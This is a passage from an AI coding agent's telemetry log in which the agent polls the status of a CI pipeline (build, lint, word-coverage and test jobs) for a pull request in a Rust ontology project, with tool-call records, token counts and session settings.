changes\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.030Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:10:24.030Z] [INFO] \u2713 Ontology Word Coverage in 28s (ID 86613944298)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Build CLI\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Check word coverage of README.md\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.030Z] [INFO] * Lint and Format Check (ID 86613944301)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   * Install rust-script\n[2026-07-12T04:10:24.030Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   * Check formatting\n[2026-07-12T04:10:24.030Z] [INFO]   * Run Clippy\n[2026-07-12T04:10:24.030Z] [INFO]   * Check file size limit\n[2026-07-12T04:10:24.030Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO] \u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run tests\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run doc tests\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.030Z] [INFO] * Test (windows-latest) (ID 86613944394)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   * Run tests\n[2026-07-12T04:10:24.030Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:24.029Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.030Z] [INFO] 2026-07-12T04:10:24.029830Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-f9bec46e-44e1-41e9-9f7f-054f6e2ebab9 duration_ms=30060 success=true arguments_length=79 output_length=1778 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:24.029Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.030Z] [INFO] \n[2026-07-12T04:10:24.244Z] [INFO] 2026-07-12T04:10:24.240343Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_8dHjT22roV3zgUZn4d8ORdIp arguments={\"cell_id\":\"26\",\"yield_time_ms\":30000,\"max_tokens\":10000} duration_ms=18269 success=true output=Script completed\n[2026-07-12T04:10:24.244Z] [INFO] Wall time 18.3 seconds\n[2026-07-12T04:10:24.244Z] [INFO] Output:\n[2026-07-12T04:10:24.244Z] [INFO] \n[2026-07-12T04:10:24.244Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:10:24.244Z] [INFO] \n[2026-07-12T04:10:24.244Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:10:24.244Z] [INFO] Triggered via pull_request about 1 minute ago\n[2026-07-12T04:10:24.244Z] [INFO] \n[2026-07-12T04:10:24.244Z] [INFO] JOBS\n[2026-07-12T04:10:24.244Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.244Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.244Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:10:24.244Z] [INFO] \u2713 Ontology Word Coverage in 28s (ID 86613944298)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Build CLI\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Check word coverage of README.md\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.244Z] [INFO] * Lint and Format Check (ID 86613944301)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   * Install rust-script\n[2026-07-12T04:10:24.244Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   * Check formatting\n[2026-07-12T04:10:24.244Z] [INFO]   * Run Clippy\n[2026-07-12T04:10:24.244Z] [INFO]   * Check file size limit\n[2026-07-12T04:10:24.244Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO] \u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run tests\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run doc tests\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.244Z] [INFO] * Test (windows-latest) (ID 86613944394)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   * Run tests\n[2026-07-12T04:10:24.244Z] [INFO]   * Run doc tests\n[2026-07-12T04:10:24.244Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:24.240Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.244Z] [INFO] \n[2026-07-12T04:10:24.280Z] [INFO] 2026-07-12T04:10:24.245963Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_8dHjT22roV3zgUZn4d8ORdIp duration_ms=18269 success=true arguments_length=57 output_length=1728 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:24.245Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.280Z] [INFO] 2026-07-12T04:10:24.254610Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_8dHjT22roV3zgUZn4d8ORdIp tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=18283 total_duration_ms=18283\n[2026-07-12T04:10:24.280Z] [INFO] \n[2026-07-12T04:10:24.352Z] [INFO] 2026-07-12T04:10:24.349840Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:10:24.352Z] [INFO] \n[2026-07-12T04:10:24.370Z] [INFO] 2026-07-12T04:10:24.369378Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=3 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:24.369Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.370Z] [INFO] 2026-07-12T04:10:24.369465Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=3 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:24.369Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.370Z] [INFO] 2026-07-12T04:10:24.369481Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:10:24.370Z] [INFO] \n[2026-07-12T04:10:26.275Z] [INFO] 2026-07-12T04:10:26.275225Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313b2430481918411c1ab9cc31586\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxOyjK94JIKXS3w9pFgoKlzRdgcre0wk21hMzefEnzU0vdeVUhbQ5EatH8jROjAFiIUqtWBdCoSeGDhWjXN6Y9NG_2f1HR--GWAKMYtBwNdzhpQsN4W41yWNKERUeyTXcL1roVtvYJ1HtKlLRsUAxWJ1WJPDoZYgTSXlcVSHflB3Rwx6bNVhMRtOnhiklhDhraj_KTuG8wCChzn60nYHDdLmNYNdU8-O7CfHNnCtk0IOE4KkQtajA8t8P202_X0lAPaX47v1HojHjw6Wq2wCxJ87lUK6e7qAlkF7dJafcFbXw6TaCOGTM47AkSquzLKZr3iBWYIdg4ahhbivRkGC3ayuqgrLzcHmVwfqek0sXLU2hxScSarq92AjLpE4Dt__ahPbXx1sFlc-MqyhioUDF4MnXXj4XVABkCl_IIn2fjbFKnVBe8Q3z65NhFonQJOZCkw1MAysJ7r_TKyUBUzEP8RloldVWMVsQrVRTcJTsXvrK0qy0qQrWsRJx_kp32QF8tD7CVrQD6JtpftToxuWl37rPl59gw_Lhf8BXqBCNkWDZNhwFyrCdhUY0LAHDLequmfzf_1MjDc7DZVp1TIrZzagTvxTb6hlMGcw5E6bbccaxusjva2m94BsN7K5kKGZS6iY3Ia7yzrpT-wYQtJmnAticrEaTI-HGGEU-YG96KIttDqulmMN49z16JEHxCd8-RyHqn6WE27QVKeDifykM1eYgXa5KOsLGgzqS92HrAqNySz_KkDLre2PBYB9iuo1LB8HeooLN1UmjVJQx7sbvNPYwZdOaPh10inKaQWWqZXD5_UkgmUsdaIFJzt6Lrv24YkiOSr2w08ym0Gc2nwS3wBuHwXN9-M4SJRQRR1R-3Ak7f7VHxtEUO2n9gQMqlg5YTHtLYrHCvyZHxQ8VpVecIZtOQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:26.275Z] [INFO] \n[2026-07-12T04:10:26.783Z] [INFO] 2026-07-12T04:10:26.782512Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313b2430481918411c1ab9cc31586\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxOyy5pcghI1Lu4TBAolNJ7BZgc_iP27D7IKV0amgHU8y17S119Kp4IHn3Udkcwiz-HthmlkW73vYPW4c-OCAmlM1kOvjVfKAz_FDbF8iIxKEFoEhkC_qH_0dheQ7x0Sda6JpzTc_U8kYEej2RPTyBammyoAmQSFJk742yoElzGoyVSh4nrSIqYBdJJhXvshGuco1G9ODX_fgkXVKBDCvG8_zt2ajCguJxHybPzBjqVcNwYHYwOx0XvwSaSki4OKoBSa_O8u-DxmrS3SUYCVPy-hMF8giR147QTFHFDr4Yd6kbkPnRBbhUBMir05pJ5EFFk6b7HaAs9DRUKTwc9d2Vt2bwlhuU699kt7JpNiyiZowjYIzPrHi1F-vy8s6T4dHusVz_tR3oVqwVNrcUkFSEn-mx5p7Lpiq5GZJTgWoQN0AuPosw0IwClqEqOtsSw6Rf8_son7QgONvU1DWRw-bOX1Dp1CLePO7sNTMLS5Ha6LZp8UhTyI_NgovS5iMGc365XObjh7agIyqhBJc9ByysxfT6wcZ3C2wztXgCofllUwZl3T346ML2CqVaBIOOoA1NXgBh434zQnwTTTT8-gZ-XLXtViQalLpzSkIEckQn6KMnj6Xi2b8EmEKGDXwoP-arOztPk6dYjhsg_yOD6mHwPslmypvXfDyvgF2HxaL1_SXL5F2SP32R5T6qOy2LZyY9gSzYFqnhpRvIGuVvowfkdwIEbDz88D4GWuxbEDHBqDyAaEZB22pVK_gVcaaW2bKuxpOVR6HI1dKEqIp_7sCeOQ4V55ozgagLUh67YV1PL3ZXxKc7GPE-cbAPPKdbxVIRFkBL-8RGGdqkV6-coMyIycRAygTd7BZ_-gJQ7RHnWCLx9Qx7Nwe3aKVptqKTJPPSlu2PFYgfziMkF04SfOThnSVGzMqDGoRwQQ9D9qfGR-B3Q=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:26.783Z] [INFO] \n[2026-07-12T04:10:26.784Z] [INFO] 2026-07-12T04:10:26.784105Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5313b2c4788191a07feca72b05d015\"), status: Some(\"in_progress\"), call_id: \"call_0vclwsA0Dy35tPeSAf9lTPVN\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:26.784Z] [INFO] \n[2026-07-12T04:10:27.673Z] [INFO] 2026-07-12T04:10:27.672808Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:8000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:10:27.673Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:10:27.673Z] [INFO] \n[2026-07-12T04:10:27.683Z] [INFO] 2026-07-12T04:10:27.677897Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313b06dd0819186516b17aa4b1f2e\"\n[2026-07-12T04:10:27.683Z] [INFO] 2026-07-12T04:10:27.677936Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=92040 output_token_count=68 cached_token_count=85760 reasoning_token_count=7 tool_token_count=92108 ttft_ms=1909 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:27.677Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:27.683Z] [INFO] 2026-07-12T04:10:27.677955Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=92040 output_token_count=68 cached_token_count=85760 reasoning_token_count=7 tool_token_count=92108 ttft_ms=1909 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:27.677Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:27.683Z] [INFO] \n[2026-07-12T04:10:37.730Z] [INFO] 2026-07-12T04:10:37.728325Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0vclwsA0Dy35tPeSAf9lTPVN arguments=const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:8000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:10:37.730Z] [INFO]  duration_ms=10054 success=true output=Script running with cell ID 27\n[2026-07-12T04:10:37.730Z] [INFO] Wall time 10.0 seconds\n[2026-07-12T04:10:37.730Z] [INFO] Output:\n[2026-07-12T04:10:37.730Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:37.728Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:37.730Z] [INFO] 2026-07-12T04:10:37.729003Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0vclwsA0Dy35tPeSAf9lTPVN duration_ms=10054 success=true arguments_length=174 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:37.729Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:37.730Z] [INFO] 2026-07-12T04:10:37.729095Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_0vclwsA0Dy35tPeSAf9lTPVN tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10055 total_duration_ms=10055\n[2026-07-12T04:10:37.730Z] [INFO] \n[2026-07-12T04:10:37.807Z] [INFO] 2026-07-12T04:10:37.803125Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:10:37.807Z] [INFO] \n[2026-07-12T04:10:37.819Z] [INFO] 2026-07-12T04:10:37.817218Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol 